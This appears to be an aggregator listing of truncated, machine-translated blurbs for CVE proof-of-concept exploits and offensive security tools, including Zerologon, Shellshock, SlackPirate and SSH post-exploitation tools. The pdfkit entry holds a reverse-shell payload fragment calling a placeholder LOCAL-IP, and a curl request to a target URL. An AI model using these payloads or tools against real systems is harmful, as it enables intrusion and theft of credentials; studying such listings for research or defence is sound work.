CVE-2020-7471

CVE-2020-7471 StringAgg 구분자 입력을 통한 SQL 인젝션 설정: 초기 설정을 위해 ./setup.sh 실행 데이터베이스를 시작하려면 도커 이미지를 열어라: docker exec -it containerid /bin/bash 그리고 다음 명령어를 실행하라: root@kitploit: python manage.py makemigrations vulapp python manage.py migrate 다음을 사용하여 인스턴스를 시작하라: docker-compose up 이제 다음 URL을 열어 샘플 데이터를 로드하...

reachy_mini Allows Unrestricted Upload of File with Dangerous Type

Summary The Reachy Mini daemon exposes the “/api/media/sounds/upload” endpoint without authentication and file validation mechanisms. An attacker can use this endpoint to upload malicious files into the file system that will propagate in future attacks. Compromise Chain: Unauthenticated to Full...

urlgrab

Bienvenue sur urlgrab 👋 Un utilitaire Golang pour parcourir un site Web à la recherche de liens supplémentaires avec prise en charge du rendu JavaScript. Install root@kitploit: go get -u github.com/iamstoxe/urlgrab Features Parallélisme personnalisable Capacité à rendre le JavaScript y compris le...

SlackPirate

SlackPirate - Outil d'énumération et d'extraction Slack Ceci est un outil développé en Python qui utilise les API Slack natives pour extraire des informations 'intéressantes' d'un espace de travail Slack à partir d'un token d'accès. Depuis mai 2018, Slack compte plus de 8 millions de clients et c...

Gin-Vue-admin-poc-CVE-2022-21660

Gin-Vue-admin: уязвимость вертикального обхода авторизации и анализ кода - CVE-2022-21660 I. Введение Добро пожаловать, уважаемые эксперты! Поставьте звезду start этому проекту.http https://github.com/flipped-aurora/gin-vue-admin/ root@kitploit: После написания статьи с подачей заявки на CVE...

cve-2019-2215_SH-M08

Version portée sur AQUOS sense 2 SH-M08 d'un code de preuve de concept POC permettant d'obtenir les privilèges root sur les terminaux Android ayant reçu des correctifs de sécurité antérieurs à octobre 2019. Environnement d'exécution Le fonctionnement a été vérifié avec les versions d'OS suivantes...

Netgear-ssl-vpn-20211222-CVE-2022-29383

Netgear-ssl-vpn-20211222 CVE-2022-29383 NETGEAR ProSafe SSL VPN vulnérabilité d'injection SQL présente dans scgi-bin/platform.cgi Version du firmware： FVS336Gv2 - FVS336Gv3 Commande sqlmap Vulnérabilité d'injection SQL : USERDBDomains.Domainname...

CVE-2020-27223

CVE-2020-27223 Использование root@kitploit: $ mvn spring-boot:run 9.4.36.v20210114 root@kitploit: $ ./poc/cve-2020-27223-poc1.sh "timens":"58,557","acceptlanguage":"aab" real 0m0.093s 🐇 user 0m0.006s sys 0m0.007s "timens":"18,461,763,438","acceptlanguage":"ahn" real 0m35.339s 🐢 user 0m0.006s sys...

SCMKit

SCMKit Description S ource C ode M anagement Attack Toolkit - SCMKit est une boîte à outils qui peut être utilisée pour attaquer les systèmes SCM. SCMKit permet à l'utilisateur de spécifier le système SCM et le module d'attaque à utiliser, ainsi que des identifiants valides nom d'utilisateur/mot...

punk.py

punk.py outil 1337 de post-exploitation SSH unix comment ça marche punk.py est un outil de post-exploitation conçu pour faciliter le pivotement réseau depuis une machine Unix compromise. Il collecte les noms d'utilisateurs, les clés SSH et les known hosts d'un système Unix, puis tente de se...

punk.py

punk.py unix SSH post-exploitation 1337 tool how it works punk.py is a post-exploitation tool meant to help network pivoting from a compromised unix box. It collect usernames, ssh keys and known hosts from a unix system, then it tries to connect via ssh to all the combinations found. punk.py is...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Эксплойт-Обратная-оболочка pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Через CURL измените значения жирным шрифтом: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

setup-wordpress-with-security-best-practice

보안 모범 사례를 적용한 WordPress 설정 이 문서는 사용자와 상호작용하지 않는 WordPress로 개발된 웹 애플리케이션에 적합한 목적으로 작성되었습니다. 주로 기업 브랜드 페이지, 다양한 정적 뷰, 채용 페이지 및 유사한 사이트를 대상으로 합니다. 오픈 커뮤니티와 같이 사용자가 등록하고 자유롭게 사이트를 사용하는 웹사이트의 경우 이 문서의 일부 항목이 적용되지 않을 수 있습니다. 이 점을 염두에 두고 읽어주시기 바랍니다. 이 문서는 WordPress 보안에 필요한 모든 내용을 포함하지 않습니다. 그러나 이 가이드를...

CVE-2014-6271-Apache-Debian

CVE-2014-6271-Apache-Debian Обзор Этот репозиторий является средой PoC для CVE-2014-6271. Вы можете развернуть веб-сервис, включающий уязвимость, используя образ контейнера apache2. Подготовка Сборка образа Соберите небезопасный образ из Dockerfile. root@kitploit: docker build -t...

CVE-2020-1472

CVE-2020-1472 CVE-2020-1472용 체커 및 익스플로잇 코드, 일명 Zerologon 도메인 컨트롤러가 Zerologon 공격에 취약한지 테스트하며, 취약한 경우 도메인 컨트롤러의 계정 비밀번호를 빈 문자열로 재설정합니다. 참고: 프로덕션 환경에서 문제를 일으킬 가능성이 높습니다 예: DNS 기능, 복제 도메인 컨트롤러와의 통신 등. 대상 클라이언트는 더 이상 도메인에 인증할 수 없게 되며, 수동 작업을 통해서만 다시 동기화할 수 있습니다. Zerologon 공격이 어떻게 문제를 일으키는지 더 알고 싶다면,...

CVE-2020-13424

Titre de l'exploit: Joomla! Plugin XCloner Backup 3.5.3 - Inclusion de fichier local Authentifié Date: 2020-05-10 Exploit Author: Mehmet Kelepçe / Gais Cyber Security Exploit-Db Author ID: 8763 Reference: https://www.xcloner.com/xcloner-news/security-release-available-for-archived-joomla-version/...

rt_redirectors

Rôle Ansible qui permet de déployer rapidement un redirector sur un serveur existant avec des règles de proxy modrewrite, Prend en charge Debian et Ubuntu, testé sur Digital Ocean et Azure Voir threat.tevora.com/automating-redirector-deployment-with-ansible pour un article de blog qui passe en...

angr

angr angr는 플랫폼에 독립적인 바이너리 분석 프레임워크입니다. UC Santa Barbara의 컴퓨터 보안 연구소, 아리조나 주립대학교의 SEFCOM, 이들의 CTF 팀인 Shellphish, 오픈 소스 커뮤니티, 그리고 @rhelmot이 제공합니다. 프로젝트 링크 홈페이지: https://angr.io 프로젝트 저장소: https://github.com/angr/angr 문서: https://docs.angr.io API 문서: https://docs.angr.io/en/latest/api.html angr란 무엇인가...

CVE-2017-5123

CVE-2017-5123 PoC CVE-2017-5123 - LPE - Contournement de SMEP/SMAP. Sans KASLR L'implémentation de waitid dans les noyaux en amont ne restreignait pas la destination cible pour copier les résultats d'informations. Cela peut permettre aux utilisateurs locaux d'écrire dans de la mémoire du noyau...

RemoteKeyStrokes

RemoteKeyStrokes Un script pour automatiser les frappes clavier via une session de bureau à distance active, aidant les opérateurs offensifs en combinaison avec des techniques de « living off the land ». Tout le mérite revient à nopernik pour avoir rendu cela possible, et j’ai donc pris sur moi d...